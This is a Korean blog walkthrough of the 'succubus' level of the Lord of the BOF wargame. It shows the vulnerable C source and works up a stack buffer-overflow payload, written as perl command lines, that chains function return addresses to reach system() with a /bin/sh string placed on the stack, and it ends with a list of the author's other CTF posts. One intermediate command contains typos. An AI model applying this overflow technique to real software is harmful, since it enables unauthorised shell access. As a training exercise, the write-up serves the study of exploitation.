먼저 소스를 확인해본다.
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
일단 if(strchr(argv[1], '\x40')) 때문에 라이브러리 영역의 주소를 사용할 수 없다. 그리고
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); 를 통해 RET 이후에 100까지 사용할 수 있음
을 알 수 있다. DO 함수를 실행시키면 check 변수가 1로 설정되고 GYE 변수를 실행시키면 check가 2로 설정된다.
이런식으로 연쇄적으로 함수를 호출하여 MO 함수에 있는 system을 통해 쉘을 실행시키면 되는 것 같다.
nm succubus를 통해 각 함수의 주소를 알아보면 아래와 같다.
DO = 0x080487ec
GYE = 080487bc
GUL = 0804878c
YUT = 0804875c
MO = 08048724
A(44바이트) + DO 함수주소 + GYE 함수주소 + GUL 함수주소 + YUT 함수주소 + MO 함수주소
(./succubus `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08",
"\x24\x87\x04\x08"'`)
먼저 이렇게 실행을 해본다.
처음 문제를 풀 때에는 DO함수주소뒤에 바로 GYE함수주소를 넣었을때 연쇄적으로 호출되는게 이해가 가지 않았다.
DO 함수의 에필로그에서 ret(pop eip/jmp eip) 때문에 다음에 들어있는
GYE함수가 Return Address로 설정되서 그런것이었다.
일단 MO함수까지 실행되는걸 확인했으니 페이로드를 구상해보자.
A(44바이트) + DO 함수 주소 + GYE 함수 주소 + GUL 함수 주소 + YUT 함수 주소 + MO 함수 주소 + AAAA + /bin/sh주소
이런식으로 해야하지만 라이브러리 영역의 주소를 쓸 수 없기때문에 직접 스택에 /bin/sh 를 올리고 해당 주소를
주는 방식으로 문제를 풀겠다.
먼저 succubus 파일을 복사하고 해당 파일을 통해 core 파일을 생성하자.
./succubua `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08",""\x5c\x87\x04\x08",
"\x24\x87\x04\x08","AAAA","\xaa\xff\xff\xbf","/bin/sh"'`
esp 부분을 살펴보면 바로 우리가 임의로 설정한 주소(0xbfffffaa) 와 /bin/sh 문자열이 보인다. (0x6e69622f ~ )
스택에 올린 /bin/sh 문자열의 주소(0xbffffc68) 를 찾아냈으므로 최종적으로 페이로드를 구성하면 아래와 같다.
A(44바이트) + DO 함수주소 + GYE 함수주소 + GUL 함수주소 + YUT 함수주소 + MO 함수주소 + AAAA + /bin/sh 주소 + /bin/sh
(./succubus `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08",
"\x24\x87\x04\x08","AAAA","\x68\xfc\xff\xbf","/bin/sh"'`)
here to stay
'Wargame(CTF)' 카테고리의 다른 글
[2015 Codegate] Owlur (Web 200) 부엉이 (0) | 2015.03.17 |
---|---|
Level18. SUCCUBUS -> NIGHTMARE (0) | 2015.02.18 |
LOS Gremlin ~ AllClear (0) | 2015.02.05 |
[2014 ChristmasCTF] 산타의 일기장 풀이 (1) | 2014.12.25 |
[2014 Whitehat Contest] Write-Up (0) | 2014.11.13 |